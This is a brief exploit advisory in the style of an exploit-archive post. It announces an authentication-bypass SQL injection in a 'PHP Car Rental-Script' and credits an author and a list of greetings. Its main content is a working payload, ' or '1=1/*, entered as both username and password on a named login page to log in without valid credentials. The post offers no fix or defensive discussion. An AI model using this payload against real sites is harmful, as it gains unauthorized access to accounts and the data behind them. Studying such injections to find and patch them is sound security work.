PHP Car Rental-Script (Auth Bypass) SQL 注入漏洞

/*

Name : PHP Car Rental-Script (Auth Bypass) SQL Injection
WebSite :http://www.carrentalphpscript.com/

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , Achille Dark3r , int_0x80 , geeksec.com<http://geeksec.com>; ...

*/

- Log-On page :

http://server/[PATH]/index.php?plugin_id=4

username = ' or '1=1/*
password = ' or '1=1/*